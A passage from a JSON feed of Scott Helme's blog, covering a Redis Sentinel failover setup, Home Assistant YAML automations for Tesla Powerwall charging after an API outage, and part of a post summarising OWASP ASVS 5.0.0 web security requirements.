an option for a current failover. We can then update/upgrade that server and bring it back online as a viable Replica. Now, when we want to upgrade the cache that is the current Primary, we trigger the failover and the Sentinels will take care of it, meaning our infrastructure now looks like this with the new roles.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-9.png\" class=\"kg-image\" alt=\"We're going High Availability with Redis Sentinel!\" loading=\"lazy\" width=\"1308\" height=\"1032\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-9.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-9.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-9.png 1308w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>If there is a problem with the update/upgrade, we can immediately fail back, giving us a nice recovery option, and if everything goes well, we can now follow the same process of taking the Replica down for updates/upgrades. Once that's done, both servers are fully updated with considerably less work than before!</p><p></p><h4 id=\"other-considerations\">Other considerations</h4><p>Whilst working through this project there were a few little details that I picked up along the way that might be useful to share, and also some that are probably a bit more specific to our deployment. </p><ul><li>Our Redis Sentinels are running on dedicated servers, but I saw many recommendations to co-locate a Redis Sentinel service alongside the Redis Server service on the cache servers themselves. I decided against this for a couple of reasons. First, I didn't want to lose a Sentinel when we took a cache down for updates/upgrades because this will impact the total number of Sentinels available to clients, and it has implications for voting too. Second, I wanted to take that load away from the caches so they could focus on being caches, meaning each of our servers is focusing on doing one thing well.</li><li>Your quorum for voting must be >50% of the number of Sentinels you have, it must be a majority vote to promote a new Primary. With our four Sentinels, if we had a quorum of two, we have less protection against something called a Split-Brain happening. As an example, let's say we have two caches, Redis Cache 1 and Redis Cache 2. Two of our four Sentinels have a transient network issue and see the Primary (Redis Cache 1) as being down, so they vote between themselves to promote a Replica (Redis Cache 2), and then begin that process. Because they can't communicate with the previous Primary (Redis Cache 1), they can't demote it to a Replica. Meanwhile, the other two Sentinels see no issue and continue as normal with their existing Primary (Redis Cache 1). You now have Sentinels providing ip/port information for two different Primaries that are both accepting writes from clients and their data is now diverging, a Split-Brain! Having a quorum require a majority of your Sentinels to vote doesn't fully solve this issue, but it does give you a lot more protection against it.</li><li>If you have a very read-heavy workload, your Replicas can share the load as they do support read-only connections. In our two scenarios we can't really leverage this benefit, which is a real shame, but being able to distribute reads across your replicas may be a huge benefit to you.</li></ul><p></p><h4 id=\"nobody-would-know\">Nobody would know!</h4><p>Whilst this was quite a huge change on our side, from the outside, nobody would know anything about this if I hadn't published this blog post! Going forwards, this will allow me to sleep a lot better knowing we have a more resilient service, and that our future updates and upgrades will now take much less time and effort than before. If you have any feedback or suggestions on our deployment, feel free to drop by the comments below. </p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Redis",
              "term": "Redis",
              "url": null
            },
            {
              "label": "Sentinel",
              "term": "Sentinel",
              "url": null
            },
            {
              "label": "High Availability",
              "term": "High Availability",
              "url": null
            }
          ]
        },
        {
          "id": "68974a0c29f3b6000112773f",
          "title": "Automation improvements after a Tesla Powerwall outage!",
          "description": "<p>So, a weird thing happened over the last couple of days, and my Tesla Powerwalls weren't working properly, or, at all, actually... What's even more strange is that Tesla has been completely silent about this and hasn't made a single announcement about the issue</p>",
          "url": "https://scotthelme.ghost.io/automation-improvements-after-a-tesla-powerwall-outage/",
          "published": "2025-08-11T09:49:48.000Z",
          "updated": "2025-08-11T09:49:48.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp\" alt=\"Automation improvements after a Tesla Powerwall outage!\"><p>So, a weird thing happened over the last couple of days, and my Tesla Powerwalls weren't working properly, or, at all, actually... What's even more strange is that Tesla has been completely silent about this and hasn't made a single announcement about the issue that I can find, and I haven't been notified.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-1.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"600\" height=\"211\" srcset=\"https://scotthelme.ghost.io/content/images/2025/08/image-1.png 600w\"></figure><p></p><h4 id=\"my-home-setup\">My Home Setup</h4><p>You can read various posts on my blog about how I automate almost all of my home with Home Assistant, and more recently there were two Tesla Powerwall posts [<a href=\"https://scotthelme.co.uk/hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">1</a>][<a href=\"https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2</a>] about bringing the final pieces of the puzzle together. I have everything working almost exactly how I want it to, with the one outstanding question on how I can control the charge rate of the Powerwalls, which I will be answering later!</p><p>First, though, this recent Tesla outage that I've seen absolutely nothing from Tesla about... Regular readers will know I automate my Powerwalls via <a href=\"https://www.home-assistant.io/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Home Assistant</a> using the <a href=\"https://teslemetry.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Teslemetry</a> service. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://teslemetry.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-2.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"731\" height=\"76\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-2.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-2.png 731w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>I can control when the Powerwalls are charging or not based on the current cost for electricity import, and I can also control when they're exporting to the grid if I have excess capacity for the day. Things were going really quite well, until I woke up one morning and the batteries were basically empty. I woke up on the morning of the 7th August and we hadn't charged the batteries in the cheap off-peak tariff that we get overnight, which is really the main point of the batteries. Fill up on the cheap stuff overnight, avoid the expensive stuff during the day.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-3.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"485\" height=\"345\"></figure><p></p><p>I tried to enable grid charging to see if I could just get some power back in to the batteries so they weren't sat on such a low SoC, but it wouldn't enable. I wondered if Teslemetry were having an issue, but nothing was reported on their side. I disabled the integration and went directly to the official Tesla app and tried to enable grid charging there, but again, it wouldn't enable. After some searching, it seems it wasn't just me having the issue and anyone with a Powerwall setup seemed to be having the exact same problem. Shortly after, an incident went up on the Teslemetry <a href=\"https://status.teslemetry.com/incident/701944?ref=scotthelme.ghost.io\" rel=\"noreferrer\">status page</a> saying that the issue was with the Tesla API.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-4.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"834\" height=\"517\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-4.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-4.png 834w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>It wasn't just Teslemetry, either. Other services that also allow for control of Tesla Powerwalls were having issues and reporting similar problems on their status pages too, like <a href=\"https://docs.netzero.energy/docs/tesla/2025-08/GridChargingIssue.html?ref=scotthelme.ghost.io\" rel=\"noreferrer\">NetZero</a>.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-5.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"1003\" height=\"398\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-5.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-5.png 1003w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>As you can see from the graph above, I did manage to capture some excess solar production during the day and charge the batteries a little, but it was almost 24 hours later when the issue finally resolved and the button to enable grid charging started magically working again! I enabled the Teslemetry integration and we were back in business. </p><p></p><h4 id=\"so-whats-up-with-that\">So what's up with that?..</h4><p>I genuinely do find it staggering that a trillion dollar company can't notify customers who are actively using their product of an issue such as this! It's pretty crazy when you think about it that there was an issue that effectively rendered Powerwalls useless, and there have been no notifications, updates, or a post-mortem, nothing... This is really poor from Tesla and I think this issue deserves more attention.</p><p>Part of me is also wondering if there might be a problem with enabling a huge amount of Powerwalls to be able to grid charge again all at once. Could it have an impact on the grid? Was that part of the problem and they staggered the rollout of the fix? What was the problem? I just want to know! </p><p><strong><em>Update 11th Aug 15:17 BST:</em></strong> Tesla responded to my support ticket with the following:</p><blockquote>We are reaching out regarding your inquiry that grid charging turns it self off automatically. Our App Team is aware of this issue and is currently working on resolving it.<br>Please rest assured, we will resolve it within the next Tesla App updates.</blockquote><p></p><p></p><h4 id=\"controlling-how-fast-your-powerwalls-charge\">Controlling how fast your Powerwalls charge</h4><p>One of the last things I had to address in my previous blog post was controlling how fast my Powerwalls were charging. Once you set them to charge, they charge up at full power, which isn't really necessary. Charging them at such a high rate isn't necessary as I have a long time to charge them, and charging at a higher rate is worse for the battery, and it leaves it sat at 100% for a longer period overnight, which is also worse for the battery! Overall that's a bad pair of options, but what if you could change the rate at which the batteries draw power when charging? Well, you can!</p><p>This is super easy to do thanks to my use of Home Assistant and Teslemetry, and it's worth pointing out that one of the options below won't be available to you if you're not using a service like Teslemetry as it's not available in the Tesla app! It turns out that when the batteries are in a different mode, they charge at a different rate. Here is the operation mode you need to set in Teslemetry, and in brackets is the name of that mode in the Tesla app.</p><p></p><table>\n<thead>\n<tr>\n<th>Operation Mode</th>\n<th>Total Draw</th>\n<th>Per Battery</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Autonomous (Time-Based Control)</td>\n<td>15kW</td>\n<td>5kW</td>\n</tr>\n<tr>\n<td>Self-consumption (Self-Powered)</td>\n<td>5.7kW</td>\n<td>1.9kW</td>\n</tr>\n<tr>\n<td>Backup (not available)</td>\n<td>11.1kW</td>\n<td>3.7kW</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>I have 3 x Powerwalls so the above numbers show my total grid power draw when charging, and what the breakdown is per Powerwall. I've always been using \"Autonomous\" mode, which is known as \"Time-Based Control\" in the Tesla app, and that results in the batteries charging at their maximum rate of 5kW each!</p><p>It turns out that if you put the Powerwalls in \"Self-consumption\" mode, which is known as \"Self-Powered\" in the Tesla app, they only charge at 1.9kW each. That might be helpful to you, but for me, it's not enough. The Powerwalls have an official usable capacity of 13.5kWh, and mine are reporting a usable capacity of either 13.7kWh or 13.8kWh via the API. My cheap rate tariff applies from 23:30 to 05:30 giving me 6 hours and unfortunately, 6 hours x 1.9kW = 11.4kWh, which is not enough to fully recharge them.</p><p>The good news is that because I'm using the Teslemetry integration, it gives me access to the \"Backup\" mode, which isn't available in the Tesla app, and it sees the batteries charge at ~3.7kW, which works out quite well because 13.8kWh / 3.7kW = 3.7 hours (3hrs 45min). That means the batteries can charge at a lower rate and take a longer time to hit 100% SoC, but still be comfortably ready by 05:30 even if I need to go from 0% to 100%. Another bonus is that Backup mode will automatically set the Backup Reserve to 100% too! For comparison, here is the charging curve before and after the change, showing that slightly gentler curve now I'm using Backup mode.</p><p></p><figure class=\"kg-card kg-image-card kg-card-hascaption\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/Screenshot-2025-08-09-152600.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"477\" height=\"343\"><figcaption><span style=\"white-space: pre-wrap;\">Batteries charging at 15kW</span></figcaption></figure><p></p><figure class=\"kg-card kg-image-card kg-card-hascaption\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/Screenshot-2025-08-09-152614.png\" class=\"kg-image\" alt=\"Automation improvements after a Tesla Powerwall outage!\" loading=\"lazy\" width=\"475\" height=\"342\"><figcaption><span style=\"white-space: pre-wrap;\">Batteries charging at 11.1kW</span></figcaption></figure><p></p><h4 id=\"my-current-automations\">My current automations</h4><p>Given the above issue with the Tesla API, I wanted to avoid turning Grid Charging on and off because I might find myself in a position where I can't turn it back on again at some point in the future... Going forwards, I'm going to control charging by toggling the operation mode between Autonomous and Backup, whilst setting the Backup Reserve to the appropriate level too. I will also provide a copy of my export automation for completeness too. Here is the battery charging automation:</p><p></p><pre><code class=\"language-yaml\">alias: Powerwall - Dynamic Battery Charging Control\ndescription: |\n  Sets Shireburn operation mode and backup reserve based on price and SoC.\n  - Cheap & below target SoC => backup @ 100%\n  - Expensive or above target SoC => autonomous @ target SoC\ntriggers:\n  - trigger: time_pattern\n    minutes: /5\nconditions: []\nactions:\n  - choose:\n      - conditions:\n          - condition: numeric_state\n            entity_id: >-\n              sensor.octopus_energy_electricity_snip_current_rate\n            below: input_number.electricity_cost_threshold\n          - condition: numeric_state\n            entity_id: sensor.shireburn_charge\n            below: input_number.powerwall_soc_threshold\n        sequence:\n          - condition: or\n            conditions:\n              - condition: template\n                value_template: \"{{ states('select.shireburn_operation_mode') != 'backup' }}\"\n              - condition: template\n                value_template: \"{{ states('number.shireburn_backup_reserve') | int != 100 }}\"\n          - action: select.select_option\n            target:\n              entity_id: select.shireburn_operation_mode\n            data:\n              option: backup\n          - action: number.set_value\n            target:\n              entity_id: number.shireburn_backup_reserve\n            data:\n              value: 100\n      - conditions:\n          - condition: numeric_state\n            entity_id: >-\n              sensor.octopus_energy_electricity_snip_current_rate\n            above: input_number.electricity_cost_threshold\n        sequence:\n          - condition: or\n            conditions:\n              - condition: template\n                value_template: >-\n                  {{ states('select.shireburn_operation_mode') != 'autonomous'\n                  }}\n              - condition: template\n                value_template: \"{{ states('number.shireburn_backup_reserve') | int != 0 }}\"\n          - action: select.select_option\n            target:\n              entity_id: select.shireburn_operation_mode\n            data:\n              option: autonomous\n          - action: number.set_value\n            target:\n              entity_id: number.shireburn_backup_reserve\n            data:\n              value: 0\nmode: single\n</code></pre><p></p><p>Here is the export automation:</p><p></p><pre><code class=\"language-yaml\">alias: Dynamic Battery Export Control\ndescription: >-\n  Adjust export setting and export mode display based on battery SoC and\n  time-of-day\ntriggers:\n  - minutes: /5\n    trigger: time_pattern\nactions:\n  - variables:\n      now_ts: \"{{ now().timestamp() }}\"\n      today: \"{{ now().date().isoformat() }}\"\n      start_ts: \"{{ (today ~ 'T05:30:00') | as_datetime | as_timestamp }}\"\n      end_ts: \"{{ (today ~ 'T23:30:00') | as_datetime | as_timestamp }}\"\n      end_for_target_ts: \"{{ (today ~ 'T23:15:00') | as_datetime | as_timestamp }}\"\n      current_soc: \"{{ states('sensor.shireburn_charge') | float(0) }}\"\n  - choose:\n      - conditions:\n          - condition: template\n            value_template: \"{{ now_ts < start_ts or now_ts > end_ts }}\"\n        sequence:\n          - target:\n              entity_id: input_number.target_soc\n            data:\n              value: 100\n            action: input_number.set_value\n          - target:\n              entity_id: input_text.export_mode_state\n            data:\n              value: No Export\n            action: input_text.set_value\n          - condition: template\n            value_template: \"{{ states('select.shireburn_allow_export') != 'never' }}\"\n          - target:\n              entity_id: select.shireburn_allow_export\n            data:\n              option: never\n            action: select.select_option\n    default:\n      - variables:\n          total_secs: \"{{ end_for_target_ts - start_ts }}\"\n          elapsed_secs: \"{{ now_ts - start_ts }}\"\n          progress: >-\n            {{ (elapsed_secs / total_secs) if elapsed_secs < total_secs else 1.0\n            }}\n          target_soc: \"{{ 100 - (95 * (progress ** 1.5)) }}\"\n      - target:\n          entity_id: input_number.target_soc\n        data:\n          value: \"{{ target_soc | round(0) }}\"\n        action: input_number.set_value\n      - choose:\n          - conditions:\n              - condition: template\n                value_template: |\n                  {% set hour = now().hour %} {% if hour < 23 %}\n                    {{ current_soc > (target_soc + 5) }}\n                  {% else %}\n                    {{ current_soc > target_soc }}\n                  {% endif %}\n            sequence:\n              - target:\n                  entity_id: input_text.export_mode_state\n                data:\n                  value: Battery + Solar Export\n                action: input_text.set_value\n              - condition: template\n                value_template: \"{{ states('select.shireburn_allow_export') != 'battery_ok' }}\"\n              - target:\n                  entity_id: select.shireburn_allow_export\n                data:\n                  option: battery_ok\n                action: select.select_option\n          - conditions:\n              - condition: template\n                value_template: \"{{ current_soc < (target_soc - 5) }}\"\n            sequence:\n              - target:\n                  entity_id: input_text.export_mode_state\n                data:\n                  value: No Export\n                action: input_text.set_value\n              - condition: template\n                value_template: \"{{ states('select.shireburn_allow_export') != 'never' }}\"\n              - target:\n                  entity_id: select.shireburn_allow_export\n                data:\n                  option: never\n                action: select.select_option\n        default:\n          - target:\n              entity_id: input_text.export_mode_state\n            data:\n              value: Solar Export\n            action: input_text.set_value\n          - condition: template\n            value_template: \"{{ states('select.shireburn_allow_export') != 'pv_only' }}\"\n          - target:\n              entity_id: select.shireburn_allow_export\n            data:\n              option: pv_only\n            action: select.select_option\nmode: single\n</code></pre><p></p><p>Hopefully they will be useful and perhaps we might know more about the Tesla API outage soon!..</p><p></p><p></p>\n<!--kg-card-begin: html-->\n<style>\n  pre[class*=\"language-\"],\n  code[class*=\"language-\"] {\n    font-size: 0.85em !important;\n}\n</style>\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-tomorrow.min.css\" integrity=\"sha512-vswe+cgvic/XBoF1OcM/TeJ2FW0OofqAVdCZiEYkd6dwGXthvkSFWOoGGJgS2CW70VK5dQM5Oh+7ne47s74VTg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/9000.0.1/components/prism-yaml.min.js\" integrity=\"sha512-epBuSQcDNi/0lmCXr7cGjqWcfnzXe4m/GdIFFNDcQ7v/JF4H8I+l4wmVQiYO6NkLGSDo3LR7HaUfUL/5sjWtXg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Tesla Powerwall",
              "term": "Tesla Powerwall",
              "url": null
            },
            {
              "label": "Home Assistant",
              "term": "Home Assistant",
              "url": null
            },
            {
              "label": "Teslemetry",
              "term": "Teslemetry",
              "url": null
            }
          ]
        },
        {
          "id": "684ffc0ea1c29300018cdf43",
          "title": "OWASP ASVS 5.0.0 is here!",
          "description": "<p>I've been a huge fan of OWASP for a very long time, having spoken at their conferences, contributed to their projects, consumed many of their resources and met some really awesome people along the way! Just recently, one of the very popular OWASP projects, the <a href=\"https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Application Security Verification</a></p>",
          "url": "https://scotthelme.ghost.io/owasp-asvs-5-0-0-is-here/",
          "published": "2025-08-04T10:07:02.000Z",
          "updated": "2025-08-04T10:07:02.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg\" alt=\"OWASP ASVS 5.0.0 is here!\"><p>I've been a huge fan of OWASP for a very long time, having spoken at their conferences, contributed to their projects, consumed many of their resources and met some really awesome people along the way! Just recently, one of the very popular OWASP projects, the <a href=\"https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Application Security Verification Standard</a> (ASVS), had a major update released and it brought with it some exciting changes. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/06/image-5.png\" class=\"kg-image\" alt=\"OWASP ASVS 5.0.0 is here!\" loading=\"lazy\" width=\"2000\" height=\"500\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/06/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/06/image-5.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/06/image-5.png 1600w, https://scotthelme.ghost.io/content/images/size/w2400/2025/06/image-5.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"owasp-asvs\">OWASP ASVS</h4><p>I'd bet that most people are familiar with the <a href=\"https://owasp.org/www-project-top-ten/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">OWASP Top 10</a> project, one of the most notable flagship projects to come out of OWASP! </p><blockquote>The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.</blockquote><p></p><p>For me, coming in at a close second place is the <a href=\"https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">OWASP ASVS</a> project, another project aimed at helping the community with a structured approach to taking care of application security.</p><blockquote>The OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls and also provides developers with a list of requirements for secure development.</blockquote><p></p><p>One of the things I love about the ASVS is the straightforward, \"no nonsense\" approach. They aren't requirements imagined in a vacuum, beyond the realistic hope or requirement of anyone trying to implement, instead they seek to be effective and balanced. This quote from the early paragraphs of the document in the 'Level evaluation' section, where you consider which level of compliance is appropriate for you, says a lot:</p><blockquote>Levels are defined by priority‑based evaluation of each requirement based on experience implement‑ ing and testing security requirements. The main focus is on comparing risk reduction with the effort to implement the requirement. Another key factor is to keep a low barrier to entry.</blockquote><p></p><p>I've provided a copy of the standard below and if you're not familiar with ASVS, I'd really recommend checking it out, even if only for you to use it as a reference rather than a hard requirement. </p><div class=\"kg-card kg-file-card\"><a class=\"kg-file-card-container\" href=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/files/2025/06/OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf?ref=scotthelme.ghost.io\" title=\"Download\" download><div class=\"kg-file-card-contents\"><div class=\"kg-file-card-title\">OWASP_Application_Security_Verification_Standard_5.0.0_en</div><div class=\"kg-file-card-caption\"></div><div class=\"kg-file-card-metadata\"><div class=\"kg-file-card-filename\">OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf</div><div class=\"kg-file-card-filesize\">504 KB</div></div></div><div class=\"kg-file-card-icon\"><svg viewbox=\"0 0 24 24\"><defs><style>.a{fill:none;stroke:currentColor;stroke-linecap:round;stroke-linejoin:round;stroke-width:1.5px;}</style></defs><title>download-circle</title><polyline class=\"a\" points=\"8.25 14.25 12 18 15.75 14.25\"/><line class=\"a\" x1=\"12\" y1=\"6.75\" x2=\"12\" y2=\"18\"/><circle class=\"a\" cx=\"12\" cy=\"12\" r=\"11.25\"/></svg></div></a></div><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/06/Report-URI-Twitter-Card.png\" class=\"kg-image\" alt=\"OWASP ASVS 5.0.0 is here!\" loading=\"lazy\" width=\"800\" height=\"400\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/06/Report-URI-Twitter-Card.png 600w, https://scotthelme.ghost.io/content/images/2025/06/Report-URI-Twitter-Card.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"the-parts-where-we-can-help\">The parts where we can help</h4><p>As a platform focused on providing organisations with the tools they need to be secure, there is of course a huge overlap between the requirements in the OWASP ASVS 5.0.0 standard, and <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>'s wide range of products and features. Some of these requirements are more generalised and are something we can help with on a more holistic approach, and some of them are slam-dunk cases where Report URI can 100% help you meet that requirement. We'll go through these requirements at a high level and look at how Report URI can help, and we'll also provide additional guidance and context to help you understand the requirements better. Let's start with the big hitters first, and go from there, and also remember to check the compliance level which we will provide for each requirement to see if it's something you will need to consider. Here's a quick summary of the compliance levels if you aren't familiar with them.</p><p>✅ <strong>Level 1 — Informational / Low Assurance</strong><br>Low-risk apps (e.g. simple brochure sites or MVPs).</p><p><strong>✅✅ Level 2 — Standard Assurance (Baseline Compliance)</strong><br>Apps handling personal data, business logic, or moderate sensitivity.</p><p><strong>✅✅✅ Level 3 — High Assurance</strong><br>Financial systems, healthcare apps, and other high-value or high-impact systems.</p><p></p><p>You can assess which level of the requirements is suitable for your application, and then you can use that to guide you through the following sections to determine which apply to you and your application.</p><p></p><h4 id=\"v31-web-frontend-security-documentation\">V3.1 Web Frontend Security Documentation</h4><p>This is a pretty sensible requirement to protect against the impact of malicious content find its way in to your site, and as a Level 1 requirement, is applicable to all sites.</p><p></p><p><strong>3.2.1 (Level 1)</strong></p><blockquote>Verify that security controls are in place to prevent browsers from rendering content or functionality in HTTP responses in an incorrect context (e.g., when an API, a user‑uploaded file or other resource is requested directly). Possible controls could include: not serving the content unless HTTP request header fields (such as Sec‑Fetch‑*) indicate it is the correct context, using the sandbox directive of the Content‑Security‑Policy header field or using the attachment disposition type in the Content‑Disposition header field.\n</blockquote><p></p><p>Whenever you're using Content Security Policy, it's <em>always </em>advisable to monitor that policy and ensure there isn't anything happening that you weren't expecting. The sandbox directive is particularly powerful in the suggested context and allows you to isolate the downloaded content.</p><p></p><h4 id=\"v34-browser-security-mechanism-headers\">V3.4 Browser Security Mechanism Headers\n</h4><p>Honestly at this point in the realm of security online, who doesn't love Security Headers?! There is so much powerful protection you can leverage by configuring these relatively simple mechanisms, it's no wonder that they got an entire section in the standard. You should read this entire section, absolutely, but here are the parts we can help with specifically.</p><p></p><p><strong>3.4.3 (Level 2 and Level 3)</strong></p><blockquote>Verify that HTTP responses include a Content‑Security‑Policy response header field which defines directives to ensure the browser only loads and executes trusted content or resources, in order to limit execution of malicious JavaScript. As a minimum, a global policy must be used which includes the directives object‑src ‘none’ and base‑uri ‘none’ and defines either an allowlist or uses nonces or hashes. For an L3 application, a per‑response policy with nonces or hashes must be defined.</blockquote><p></p><p><strong>3.4.6 (Level 2)</strong></p><blockquote>Verify that the web application uses the frame‑ancestors directive of the Content‑Security‑Policy header field for every HTTP response to ensure that it cannot be embedded by default and that embedding of specific resources is allowed only when necessary. Note that the X‑Frame‑Options header field, although supported by browsers, is obsolete and may not be relied upon.</blockquote><p></p><p><strong>3.4.7 (Level 3)</strong></p><blockquote>Verify that the Content‑Security‑Policy header field specifies a location to report violations.</blockquote><p></p><p>That last one is particularly noteworthy, and I'd say that any application with a CSP in place should be monitoring for those violations because you want to know if things have been configured incorrectly, or worse, an attack is currently ongoing! All of that guidance is sensible though and these are all standard things that we'd be recommending to our customers anyway.</p><p></p><p><strong>V3.6 External Resource Integrity</strong></p><p>Another common risk being addressed by this requirement is that of your JavaScript supply chain. Over the years we have seen so many attacks where a website is compromised not because they were breached, but because one of their dependencies was breached instead! Whilst this requirement focuses specifically on the venerable Subresource Integrity (SRI), at the time of writing we have a new feature in beta that will go far beyond the capabilities of SRI and provide even more value. Reach out if you're interested in joining the beta!</p><p></p><p><strong>3.6.1 (Level 3)</strong></p><blockquote>Verify that client‑side assets, such as JavaScript libraries, CSS, or web fonts, are only hosted externally (e.g., on a Content Delivery Network) if the resource is static and versioned and Subresource Integrity (SRI) is used to validate the integrity of the asset. If this is not possible, there should be a documented security decision to justify this for each resource.</blockquote><p></p><h4 id=\"getting-started\">Getting Started</h4><p>If you want to start the process of improving the security of your web application, you can get started with a free trial on our website right now, or reach out to our team if you'd like some support through this process. Maybe you're looking to avoid the risk of a costly data breach in the future, maybe you have some particular compliance requirement you're trying to meet, or perhaps you've identified a specific concern you'd like to address. Either way, we're here to help, and we have more than a decade of experience to draw from as we support you.</p><p>To achieve this, the ASVS standard is a great basis to work from, and I want to quote the following objectives from the standard itself:</p><p></p><blockquote>•<strong> Use as a metric</strong> - Provide application developers and application owners with a yardstick with which to assess the degree of trust that can be placed in their Web applications,<br>•<strong> Use as guidance</strong> - Provide guidance to security control developers as to what to build into security controls in order to satisfy application security requirements, and<br>•<strong> Use during procurement</strong> - Provide a basis for specifying application security verification requirements in contracts.</blockquote><p></p><p>No matter which angle you're coming from, I'm hoping to see increased adoption of the OWASP ASVS requirements over time and the benefits that will bring to security across the Web.</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg",
              "image": "https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
